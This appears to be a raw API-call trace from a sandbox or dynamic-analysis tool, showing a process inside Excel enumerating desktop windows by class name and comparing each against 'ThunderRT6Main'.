	[0071.863] GetWindowThreadProcessId (in: hWnd=0x20108, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5a4
	[0071.864] GetWindow (hWnd=0x20108, uCmd=0x2) returned 0x10106
	[0071.864] GetClassNameA (in: hWnd=0x10106, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7
	[0071.864] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1
	[0071.864] GetWindowThreadProcessId (in: hWnd=0x10106, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x588
	[0071.864] GetWindow (hWnd=0x10106, uCmd=0x2) returned 0x10102
	[0071.864] GetClassNameA (in: hWnd=0x10102, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7
	[0071.864] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1
	[0071.864] GetWindowThreadProcessId (in: hWnd=0x10102, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x3a0
	[0071.864] GetWindow (hWnd=0x10102, uCmd=0x2) returned 0x100fc
	[0071.864] GetClassNameA (in: hWnd=0x100fc, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7
	[0071.864] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1
	[0071.864] GetWindowThreadProcessId (in: hWnd=0x100fc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x544
	[0071.864] GetWindow (hWnd=0x100fc, uCmd=0x2) returned 0x5008e
	[0071.864] GetClassNameA (in: hWnd=0x5008e, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="DV2ControlHost") returned 14
	[0071.864] lstrcmpA (lpString1="DV2ControlHost", lpString2="ThunderRT6Main") returned -1
	[0071.864] GetWindowThreadProcessId (in: hWnd=0x5008e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0071.864] GetWindow (hWnd=0x5008e, uCmd=0x2) returned 0x10084
	[0071.864] GetClassNameA (in: hWnd=0x10084, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7
	[0071.864] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1
	[0071.864] GetWindowThreadProcessId (in: hWnd=0x10084, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x518
	[0071.864] GetWindow (hWnd=0x10084, uCmd=0x2) returned 0x10082
	[0071.864] GetClassNameA (in: hWnd=0x10082, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7
	[0071.864] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1
	[0071.864] GetWindowThreadProcessId (in: hWnd=0x10082, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0071.864] GetWindow (hWnd=0x10082, uCmd=0x2) returned 0x1007e
	[0071.864] GetClassNameA (in: hWnd=0x1007e, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="COMTASKSWINDOWCLASS") returned 19
	[0071.864] lstrcmpA (lpString1="COMTASKSWINDOWCLASS", lpString2="ThunderRT6Main") returned -1
	[0071.864] GetWindowThreadProcessId (in: hWnd=0x1007e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4f0
	[0071.864] GetWindow (hWnd=0x1007e, uCmd=0x2) returned 0x10080
	[0071.864] GetClassNameA (in: hWnd=0x10080, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0071.864] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0071.864] GetWindowThreadProcessId (in: hWnd=0x10080, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4f0
	[0071.864] GetWindow (hWnd=0x10080, uCmd=0x2) returned 0x10076
	[0071.864] GetClassNameA (in: hWnd=0x10076, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
	[0071.864] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
	[0071.864] GetWindowThreadProcessId (in: hWnd=0x10076, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0071.864] GetWindow (hWnd=0x10076, uCmd=0x2) returned 0x10064
	[0071.864] GetClassNameA (in: hWnd=0x10064, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
	[0071.864] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
	[0071.864] GetWindowThreadProcessId (in: hWnd=0x10064, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0071.864] GetWindow (hWnd=0x10064, uCmd=0x2) returned 0x10110
	[0071.864] GetClassNameA (in: hWnd=0x10110, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="#43") returned 3
	[0071.865] lstrcmpA (lpString1="#43", lpString2="ThunderRT6Main") returned -1
	[0071.865] GetWindowThreadProcessId (in: hWnd=0x10110, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x66c
	[0071.865] GetWindow (hWnd=0x10110, uCmd=0x2) returned 0x10112
	[0071.865] GetClassNameA (in: hWnd=0x10112, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0071.865] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0071.865] GetWindowThreadProcessId (in: hWnd=0x10112, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x66c
	[0071.865] GetWindow (hWnd=0x10112, uCmd=0x2) returned 0x10060
	[0071.865] GetClassNameA (in: hWnd=0x10060, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="NotifyIconOverflowWindow") returned 24
	[0071.865] lstrcmpA (lpString1="NotifyIconOverflowWindow", lpString2="ThunderRT6Main") returned -1
	[0071.865] GetWindowThreadProcessId (in: hWnd=0x10060, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0071.865] GetWindow (hWnd=0x10060, uCmd=0x2) returned 0x1004c
	[0071.865] GetClassNameA (in: hWnd=0x1004c, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="OleDdeWndClass") returned 14
	[0071.865] lstrcmpA (lpString1="OleDdeWndClass", lpString2="ThunderRT6Main") returned -1
	[0071.865] GetWindowThreadProcessId (in: hWnd=0x1004c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0071.865] GetWindow (hWnd=0x1004c, uCmd=0x2) returned 0x10042
	[0071.865] GetClassNameA (in: hWnd=0x10042, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="DDEMLEvent") returned 10
	[0071.865] lstrcmpA (lpString1="DDEMLEvent", lpString2="ThunderRT6Main") returned -1
	[0071.865] GetWindowThreadProcessId (in: hWnd=0x10042, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x3a0
	[0071.865] GetWindow (hWnd=0x10042, uCmd=0x2) returned 0x3003e
	[0071.865] GetClassNameA (in: hWnd=0x3003e, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="DDEMLMom") returned 8
	[0071.865] lstrcmpA (lpString1="DDEMLMom", lpString2="ThunderRT6Main") returned -1
	[0071.865] GetWindowThreadProcessId (in: hWnd=0x3003e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x3a0
	[0071.865] GetWindow (hWnd=0x3003e, uCmd=0x2) returned 0x10048
	[0071.865] GetClassNameA (in: hWnd=0x10048, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="Dwm") returned 3
	[0071.865] lstrcmpA (lpString1="Dwm", lpString2="ThunderRT6Main") returned -1
	[0071.865] GetWindowThreadProcessId (in: hWnd=0x10048, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x124
	[0071.865] GetWindow (hWnd=0x10048, uCmd=0x2) returned 0x10040
	[0071.865] GetClassNameA (in: hWnd=0x10040, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0071.865] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0071.865] GetWindowThreadProcessId (in: hWnd=0x10040, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x3a0
	[0071.865] GetWindow (hWnd=0x10040, uCmd=0x2) returned 0x200fe
	[0071.865] GetClassNameA (in: hWnd=0x200fe, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11
	[0071.865] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1
	[0071.865] GetWindowThreadProcessId (in: hWnd=0x200fe, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x3a0
	[0071.865] GetWindow (hWnd=0x200fe, uCmd=0x2) returned 0x1011c
	[0071.865] GetClassNameA (in: hWnd=0x1011c, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0071.865] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0071.865] GetWindowThreadProcessId (in: hWnd=0x1011c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x688
	[0071.865] GetWindow (hWnd=0x1011c, uCmd=0x2) returned 0x1011a
	[0071.865] GetClassNameA (in: hWnd=0x1011a, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="CicLoaderWndClass") returned 17
	[0071.865] lstrcmpA (lpString1="CicLoaderWndClass", lpString2="ThunderRT6Main") returned -1
	[0071.866] GetWindowThreadProcessId (in: hWnd=0x1011a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x688
	[0071.866] GetWindow (hWnd=0x1011a, uCmd=0x2) returned 0x100ec
	[0071.866] GetClassNameA (in: hWnd=0x100ec, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="Progman") returned 7
	[0071.866] lstrcmpA (lpString1="Progman", lpString2="ThunderRT6Main") returned -1
	[0071.866] GetWindowThreadProcessId (in: hWnd=0x100ec, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x3a0
	[0071.866] GetWindow (hWnd=0x100ec, uCmd=0x2) returned 0x0
	[0071.866] IMalloc:Alloc (This=0x7feffc15380, cb=0x18) returned 0xc0ec2d0
	[0071.866] IMalloc:Free (This=0x7feffc15380, pv=0xc0ec2d0) 
	[0072.143] GetAsyncKeyState (vKey=27) returned 0
	[0072.143] GetCurrentThreadId () returned 0x8e8
	[0072.143] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0
	[0072.143] GetDesktopWindow () returned 0x10010
	[0072.143] GetWindow (hWnd=0x10010, uCmd=0x5) returned 0x10140
	[0072.143] GetClassNameA (in: hWnd=0x10140, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="ATL:000007FEF4FA52C0") returned 20
	[0072.143] lstrcmpA (lpString1="ATL:000007FEF4FA52C0", lpString2="ThunderRT6Main") returned -1
	[0072.143] GetWindowThreadProcessId (in: hWnd=0x10140, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6d4
	[0072.143] GetWindow (hWnd=0x10140, uCmd=0x2) returned 0x1013a
	[0072.143] GetClassNameA (in: hWnd=0x1013a, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0072.144] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0072.144] GetWindowThreadProcessId (in: hWnd=0x1013a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x32c
	[0072.144] GetWindow (hWnd=0x1013a, uCmd=0x2) returned 0x10138
	[0072.144] GetClassNameA (in: hWnd=0x10138, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="TaskSwitcherWnd") returned 15
	[0072.144] lstrcmpA (lpString1="TaskSwitcherWnd", lpString2="ThunderRT6Main") returned -1
	[0072.144] GetWindowThreadProcessId (in: hWnd=0x10138, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x32c
	[0072.144] GetWindow (hWnd=0x10138, uCmd=0x2) returned 0x200cc
	[0072.144] GetClassNameA (in: hWnd=0x200cc, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
	[0072.144] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
	[0072.144] GetWindowThreadProcessId (in: hWnd=0x200cc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0072.144] GetWindow (hWnd=0x200cc, uCmd=0x2) returned 0x200e8
	[0072.144] GetClassNameA (in: hWnd=0x200e8, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
	[0072.144] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
	[0072.144] GetWindowThreadProcessId (in: hWnd=0x200e8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0072.144] GetWindow (hWnd=0x200e8, uCmd=0x2) returned 0x200e0
	[0072.144] GetClassNameA (in: hWnd=0x200e0, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
	[0072.144] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
	[0072.144] GetWindowThreadProcessId (in: hWnd=0x200e0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0072.144] GetWindow (hWnd=0x200e0, uCmd=0x2) returned 0x10072
	[0072.144] GetClassNameA (in: hWnd=0x10072, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
	[0072.144] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
	[0072.144] GetWindowThreadProcessId (in: hWnd=0x10072, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0072.144] GetWindow (hWnd=0x10072, uCmd=0x2) returned 0x10070
	[0072.144] GetClassNameA (in: hWnd=0x10070, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
	[0072.144] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
	[0072.144] GetWindowThreadProcessId (in: hWnd=0x10070, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0072.144] GetWindow (hWnd=0x10070, uCmd=0x2) returned 0x1005c
	[0072.144] GetClassNameA (in: hWnd=0x1005c, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
	[0072.144] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
	[0072.144] GetWindowThreadProcessId (in: hWnd=0x1005c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0072.145] GetWindow (hWnd=0x1005c, uCmd=0x2) returned 0x1008a
	[0072.145] GetClassNameA (in: hWnd=0x1008a, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
	[0072.145] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
	[0072.145] GetWindowThreadProcessId (in: hWnd=0x1008a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0072.145] GetWindow (hWnd=0x1008a, uCmd=0x2) returned 0x1007a
	[0072.145] GetClassNameA (in: hWnd=0x1007a, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
	[0072.145] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
	[0072.145] GetWindowThreadProcessId (in: hWnd=0x1007a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0072.145] GetWindow (hWnd=0x1007a, uCmd=0x2) returned 0x10078
	[0072.145] GetClassNameA (in: hWnd=0x10078, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
	[0072.145] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
	[0072.145] GetWindowThreadProcessId (in: hWnd=0x10078, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0072.145] GetWindow (hWnd=0x10078, uCmd=0x2) returned 0x10074
	[0072.145] GetClassNameA (in: hWnd=0x10074, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
	[0072.145] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
	[0072.145] GetWindowThreadProcessId (in: hWnd=0x10074, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0072.146] GetWindow (hWnd=0x10074, uCmd=0x2) returned 0x10052
	[0072.146] GetClassNameA (in: hWnd=0x10052, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11
	[0072.146] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1
	[0072.146] GetWindowThreadProcessId (in: hWnd=0x10052, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0072.146] GetWindow (hWnd=0x10052, uCmd=0x2) returned 0x1004e
	[0072.146] GetClassNameA (in: hWnd=0x1004e, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0072.146] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0072.146] GetWindowThreadProcessId (in: hWnd=0x1004e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0072.146] GetWindow (hWnd=0x1004e, uCmd=0x2) returned 0x10054
	[0072.146] GetClassNameA (in: hWnd=0x10054, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="Button") returned 6
	[0072.146] lstrcmpA (lpString1="Button", lpString2="ThunderRT6Main") returned -1
	[0072.146] GetWindowThreadProcessId (in: hWnd=0x10054, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0072.146] GetWindow (hWnd=0x10054, uCmd=0x2) returned 0x10050
	[0072.146] GetClassNameA (in: hWnd=0x10050, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="Shell_TrayWnd") returned 13
	[0072.146] lstrcmpA (lpString1="Shell_TrayWnd", lpString2="ThunderRT6Main") returned -1
	[0072.146] GetWindowThreadProcessId (in: hWnd=0x10050, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0072.146] GetWindow (hWnd=0x10050, uCmd=0x2) returned 0x100f4
	[0072.146] GetClassNameA (in: hWnd=0x100f4, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
	[0072.146] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
	[0072.146] GetWindowThreadProcessId (in: hWnd=0x100f4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x3a0
	[0072.146] GetWindow (hWnd=0x100f4, uCmd=0x2) returned 0x5009a
	[0072.146] GetClassNameA (in: hWnd=0x5009a, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
	[0072.146] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
	[0072.146] GetWindowThreadProcessId (in: hWnd=0x5009a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0072.146] GetWindow (hWnd=0x5009a, uCmd=0x2) returned 0x1008c
	[0072.146] GetClassNameA (in: hWnd=0x1008c, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="TaskListThumbnailWnd") returned 20
	[0072.146] lstrcmpA (lpString1="TaskListThumbnailWnd", lpString2="ThunderRT6Main") returned -1
	[0072.146] GetWindowThreadProcessId (in: hWnd=0x1008c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0072.147] GetWindow (hWnd=0x1008c, uCmd=0x2) returned 0x200e6
	[0072.147] GetClassNameA (in: hWnd=0x200e6, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="Desktop User Picture") returned 20
	[0072.147] lstrcmpA (lpString1="Desktop User Picture", lpString2="ThunderRT6Main") returned -1
	[0072.147] GetWindowThreadProcessId (in: hWnd=0x200e6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0072.147] GetWindow (hWnd=0x200e6, uCmd=0x2) returned 0x10226
	[0072.147] GetClassNameA (in: hWnd=0x10226, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11
	[0072.147] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1
	[0072.147] GetWindowThreadProcessId (in: hWnd=0x10226, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0072.147] GetWindowLongA (hWnd=0x10226, nIndex=-16) returned -1946157056
	[0072.147] GetWindowLongPtrA (hWnd=0x10226, nIndex=-6) returned 0x0
	[0072.147] GetWindowLongPtrA (hWnd=0x10226, nIndex=-6) returned 0x0
	[0072.147] GetWindow (hWnd=0x10226, uCmd=0x2) returned 0x201a4
	[0072.147] GetClassNameA (in: hWnd=0x201a4, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0072.147] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0072.147] GetWindowThreadProcessId (in: hWnd=0x201a4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0072.147] GetWindowLongA (hWnd=0x201a4, nIndex=-16) returned -1946157056
	[0072.147] GetWindowLongPtrA (hWnd=0x201a4, nIndex=-6) returned 0x13f510000
	[0072.147] GetWindowLongPtrA (hWnd=0x201a4, nIndex=-6) returned 0x13f510000
	[0072.147] GetWindow (hWnd=0x201a4, uCmd=0x2) returned 0x302da
	[0072.147] GetClassNameA (in: hWnd=0x302da, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="#32770") returned 6
	[0072.147] lstrcmpA (lpString1="#32770", lpString2="ThunderRT6Main") returned -1
	[0072.147] GetWindowThreadProcessId (in: hWnd=0x302da, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0072.147] GetWindowLongA (hWnd=0x302da, nIndex=-16) returned -1798831675
	[0072.147] GetWindowLongPtrA (hWnd=0x302da, nIndex=-6) returned 0x7feef690000
	[0072.147] GetWindowLongPtrA (hWnd=0x302da, nIndex=-6) returned 0x7feef690000
	[0072.147] GetWindow (hWnd=0x302da, uCmd=0x2) returned 0x40216
	[0072.147] GetClassNameA (in: hWnd=0x40216, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6
	[0072.147] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1
	[0072.148] GetWindowThreadProcessId (in: hWnd=0x40216, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0072.148] GetWindowLongA (hWnd=0x40216, nIndex=-16) returned 516882432
	[0072.148] GetWindowLongPtrA (hWnd=0x40216, nIndex=-6) returned 0x13f510000
	[0072.148] GetWindowLongPtrA (hWnd=0x40216, nIndex=-6) returned 0x13f510000
	[0072.148] GetWindow (hWnd=0x40216, uCmd=0x2) returned 0x20268
	[0072.148] GetClassNameA (in: hWnd=0x20268, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29
	[0072.148] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1
	[0072.148] GetWindowThreadProcessId (in: hWnd=0x20268, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0072.148] GetWindowLongA (hWnd=0x20268, nIndex=-16) returned -1778384896
	[0072.148] GetWindowLongPtrA (hWnd=0x20268, nIndex=-6) returned 0x0
	[0072.148] GetWindowLongPtrA (hWnd=0x20268, nIndex=-6) returned 0x0
	[0072.148] GetWindow (hWnd=0x20268, uCmd=0x2) returned 0x3026a
	[0072.148] GetClassNameA (in: hWnd=0x3026a, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29
	[0072.148] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1
	[0072.148] GetWindowThreadProcessId (in: hWnd=0x3026a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0072.148] GetWindowLongA (hWnd=0x3026a, nIndex=-16) returned -1778384896
	[0072.148] GetWindowLongPtrA (hWnd=0x3026a, nIndex=-6) returned 0x0
	[0072.148] GetWindowLongPtrA (hWnd=0x3026a, nIndex=-6) returned 0x0
	[0072.148] GetWindow (hWnd=0x3026a, uCmd=0x2) returned 0x202c6
	[0072.148] GetClassNameA (in: hWnd=0x202c6, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29
	[0072.148] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1
	[0072.148] GetWindowThreadProcessId (in: hWnd=0x202c6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0072.148] GetWindowLongA (hWnd=0x202c6, nIndex=-16) returned -1778384896
	[0072.148] GetWindowLongPtrA (hWnd=0x202c6, nIndex=-6) returned 0x0
	[0072.148] GetWindowLongPtrA (hWnd=0x202c6, nIndex=-6) returned 0x0
	[0072.148] GetWindow (hWnd=0x202c6, uCmd=0x2) returned 0x20260
	[0072.148] GetClassNameA (in: hWnd=0x20260, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29
	[0072.148] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1
	[0072.148] GetWindowThreadProcessId (in: hWnd=0x20260, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0072.148] GetWindowLongA (hWnd=0x20260, nIndex=-16) returned -1778384896
	[0072.148] GetWindowLongPtrA (hWnd=0x20260, nIndex=-6) returned 0x0
	[0072.148] GetWindowLongPtrA (hWnd=0x20260, nIndex=-6) returned 0x0
	[0072.148] GetWindow (hWnd=0x20260, uCmd=0x2) returned 0x3022a
	[0072.148] GetClassNameA (in: hWnd=0x3022a, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="MsoStdCompMgr") returned 13
	[0072.148] lstrcmpA (lpString1="MsoStdCompMgr", lpString2="ThunderRT6Main") returned -1
	[0072.148] GetWindowThreadProcessId (in: hWnd=0x3022a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0072.148] GetWindowLongA (hWnd=0x3022a, nIndex=-16) returned -2080374784
	[0072.149] GetWindowLongPtrA (hWnd=0x3022a, nIndex=-6) returned 0x7fef2840000
	[0072.149] GetWindowLongPtrA (hWnd=0x3022a, nIndex=-6) returned 0x7fef2840000
	[0072.149] GetWindow (hWnd=0x3022a, uCmd=0x2) returned 0x302b2
	[0072.149] GetClassNameA (in: hWnd=0x302b2, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="ConsoleWindowClass") returned 18
	[0072.149] lstrcmpA (lpString1="ConsoleWindowClass", lpString2="ThunderRT6Main") returned -1
	[0072.149] GetWindowThreadProcessId (in: hWnd=0x302b2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb20
	[0072.149] GetWindow (hWnd=0x302b2, uCmd=0x2) returned 0x2028a
	[0072.149] GetClassNameA (in: hWnd=0x2028a, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0072.149] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0072.149] GetWindowThreadProcessId (in: hWnd=0x2028a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb34
	[0072.149] GetWindow (hWnd=0x2028a, uCmd=0x2) returned 0x202b0
	[0072.149] GetClassNameA (in: hWnd=0x202b0, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="ThunderMain") returned 11
	[0072.149] lstrcmpA (lpString1="ThunderMain", lpString2="ThunderRT6Main") returned -1
	[0072.149] GetWindowThreadProcessId (in: hWnd=0x202b0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0072.149] GetWindowLongA (hWnd=0x202b0, nIndex=-16) returned -1946157056
	[0072.149] GetWindowLongPtrA (hWnd=0x202b0, nIndex=-6) returned 0x7fee5d60000
	[0072.149] IsWindowEnabled (hWnd=0x202b0) returned 0
	[0072.149] GetPropA (hWnd=0x202b0, lpString=0xc13a) returned 0x1
	[0072.149] RemovePropA (hWnd=0x202b0, lpString=0xc13a) returned 0x1
	[0072.149] EnableWindow (hWnd=0x202b0, bEnable=1) returned 1
	[0072.149] GetWindow (hWnd=0x202b0, uCmd=0x2) returned 0x2026c
	[0072.149] GetClassNameA (in: hWnd=0x2026c, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9
	[0072.149] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1
	[0072.149] GetWindowThreadProcessId (in: hWnd=0x2026c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0072.149] GetWindowLongA (hWnd=0x2026c, nIndex=-16) returned 1149272145
	[0072.149] GetWindow (hWnd=0x2026c, uCmd=0x2) returned 0x202d4
	[0072.149] GetClassNameA (in: hWnd=0x202d4, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="OleDdeWndClass") returned 14
	[0072.149] lstrcmpA (lpString1="OleDdeWndClass", lpString2="ThunderRT6Main") returned -1
